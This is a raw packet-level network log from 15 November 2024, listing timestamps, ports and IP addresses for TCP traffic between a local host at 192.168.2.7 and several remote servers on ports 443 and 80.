Nov 15, 2024 09:55:39.677232981 CET	443	49906	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.677287102 CET	49906	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.678386927 CET	49906	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.678411961 CET	443	49906	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.719300032 CET	443	49907	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.719681025 CET	49907	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.719695091 CET	443	49907	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.720740080 CET	443	49907	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.721100092 CET	49907	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.722256899 CET	49907	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.722345114 CET	443	49907	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.722477913 CET	49907	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.722490072 CET	443	49907	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.802301884 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.802407026 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.802462101 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.802469015 CET	49904	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.802508116 CET	49904	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.804672956 CET	49904	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.804693937 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.804723024 CET	49904	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.804728985 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.807956934 CET	49916	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.807998896 CET	443	49916	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.808087111 CET	49916	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.808244944 CET	49916	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.808257103 CET	443	49916	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.847784996 CET	443	49907	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.848124027 CET	49907	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.848447084 CET	49907	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.848464012 CET	443	49907	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.948561907 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:39.953402042 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.108896971 CET	49917	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:40.108946085 CET	443	49917	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:40.109080076 CET	49917	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:40.109163046 CET	49918	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:40.109200954 CET	443	49918	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:40.109898090 CET	49917	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:40.109915972 CET	443	49917	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:40.109973907 CET	49918	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:40.110131979 CET	49918	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:40.110152006 CET	443	49918	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:40.147461891 CET	443	49910	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.148221016 CET	49910	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.148241043 CET	443	49910	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.149568081 CET	49910	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.149578094 CET	443	49910	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.161015987 CET	443	49911	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.161808968 CET	49911	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.161828041 CET	443	49911	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.162487030 CET	49911	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.162492990 CET	443	49911	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.200124025 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.200469017 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.200499058 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.201570034 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.201641083 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.203118086 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.203221083 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.203355074 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.203368902 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.228984118 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.229042053 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.229053974 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.229067087 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.229067087 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.229079008 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.229115963 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.229115963 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.229121923 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.229141951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.229155064 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.229166031 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.229166031 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.229166985 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.229193926 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.229202986 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.229214907 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.229600906 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.229614019 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.229626894 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.229650974 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.229676008 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.244196892 CET	49917	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:40.244374990 CET	49918	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:40.245588064 CET	49886	443	192.168.2.7	18.244.18.122
Nov 15, 2024 09:55:40.245661974 CET	443	49886	18.244.18.122	192.168.2.7
Nov 15, 2024 09:55:40.245738029 CET	49886	443	192.168.2.7	18.244.18.122
Nov 15, 2024 09:55:40.276726961 CET	443	49910	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.276802063 CET	443	49910	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.277851105 CET	49910	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.277851105 CET	49910	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.278510094 CET	49910	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.278532982 CET	443	49910	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.280957937 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.280993938 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.281944990 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.282119989 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.282133102 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.287334919 CET	443	49918	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:40.287345886 CET	443	49917	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:40.292180061 CET	443	49911	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.292269945 CET	443	49911	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.292418003 CET	49911	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.292630911 CET	49911	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.292653084 CET	443	49911	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.292668104 CET	49911	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.292673111 CET	443	49911	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.295764923 CET	49920	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.295815945 CET	443	49920	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.295999050 CET	49920	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.296161890 CET	49920	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.296175003 CET	443	49920	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.316764116 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.349950075 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.352777004 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.352806091 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.353125095 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.353532076 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.353539944 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.353858948 CET	49915	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.353888988 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.354249954 CET	49915	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.354259014 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.361224890 CET	443	49909	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:40.361310959 CET	49909	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:40.385056019 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.385071039 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.385133982 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.385308981 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.385320902 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.385333061 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.385365009 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.385380030 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.385391951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.385404110 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.385411024 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.385440111 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.386080980 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.386094093 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.386105061 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.386126995 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.386143923 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.386164904 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.386174917 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.386182070 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.386243105 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.387093067 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.387104988 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.387115955 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.387136936 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.387140036 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.387151957 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.387176037 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.387201071 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.387785912 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.387799978 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.387816906 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.387826920 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.387830019 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.387841940 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.387852907 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.387886047 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.437906981 CET	49909	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:40.437936068 CET	443	49909	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:40.438278913 CET	443	49909	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:40.438828945 CET	49909	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:40.438875914 CET	49909	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:40.438899040 CET	443	49909	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:40.440819025 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.440849066 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.440856934 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.440885067 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.440897942 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.440905094 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.440923929 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.440936089 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.440948963 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.440977097 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.449698925 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.449707985 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.449744940 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.449800014 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.449825048 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.449835062 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.449843884 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.449875116 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.479681969 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.479862928 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.480216026 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.489543915 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.489686966 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.489878893 CET	49915	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.507374048 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.507419109 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.507436037 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.507457018 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.511836052 CET	49915	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.511864901 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.511882067 CET	49915	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.511888027 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.522016048 CET	443	49912	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:40.540853977 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.540895939 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.540908098 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.540920019 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.540932894 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.540963888 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.540968895 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.541019917 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.541059017 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.541071892 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.541083097 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.541095018 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.541099072 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.541107893 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.541127920 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.541140079 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.541146994 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.541160107 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.541184902 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.541289091 CET	49921	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.541344881 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.541414022 CET	49921	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.541898966 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.541943073 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.541948080 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.541960001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.542006969 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.542221069 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.542232990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.542243958 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.542277098 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.542290926 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.542294025 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.542304039 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.542326927 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.542342901 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.542462111 CET	49912	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:40.542495966 CET	443	49912	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:40.542649984 CET	49912	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:40.542650938 CET	49912	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:40.542665958 CET	443	49912	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:40.542678118 CET	443	49912	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:40.542726040 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.542737007 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.542747974 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.542778969 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.542810917 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.542823076 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.542834997 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.542848110 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.542860031 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.542871952 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.542875051 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.542898893 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.542912006 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.543402910 CET	49921	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.543431044 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.543622971 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.543636084 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.543648005 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.543673992 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.543693066 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.543705940 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.543718100 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.543729067 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.543740988 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.543751001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.543756962 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.543775082 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.543790102 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.544538975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.544557095 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.544569016 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.544579983 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.544590950 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.544603109 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.544609070 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.544614077 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.544626951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.544658899 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.544660091 CET	49922	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.544672012 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.544708967 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.544770002 CET	49922	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.544891119 CET	49922	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.544903994 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.554315090 CET	443	49916	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.554719925 CET	49916	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.554752111 CET	443	49916	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.555257082 CET	49916	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.555268049 CET	443	49916	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.557586908 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:40.557634115 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:40.557738066 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:40.557866096 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.557892084 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.557929039 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.557945013 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.557969093 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.557998896 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.558257103 CET	49924	443	192.168.2.7	152.195.19.97
Nov 15, 2024 09:55:40.558278084 CET	443	49924	152.195.19.97	192.168.2.7
Nov 15, 2024 09:55:40.558329105 CET	49924	443	192.168.2.7	152.195.19.97
Nov 15, 2024 09:55:40.558494091 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:40.558505058 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:40.558691025 CET	49924	443	192.168.2.7	152.195.19.97
Nov 15, 2024 09:55:40.558701038 CET	443	49924	152.195.19.97	192.168.2.7
Nov 15, 2024 09:55:40.566479921 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.566497087 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.566530943 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.566567898 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.566576004 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.566602945 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.566617012 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.566639900 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.568700075 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.568711042 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.665236950 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.665251017 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.665262938 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.665343046 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.665457010 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.684611082 CET	443	49916	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.684681892 CET	443	49916	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.684741020 CET	49916	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.685189009 CET	49916	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.685208082 CET	443	49916	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.685241938 CET	49916	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.685249090 CET	443	49916	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.688977957 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.689023972 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.689251900 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.689765930 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:40.689779043 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:40.696577072 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.696588993 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.696635962 CET	80	49872	185.215.113.206	192.168.2.7
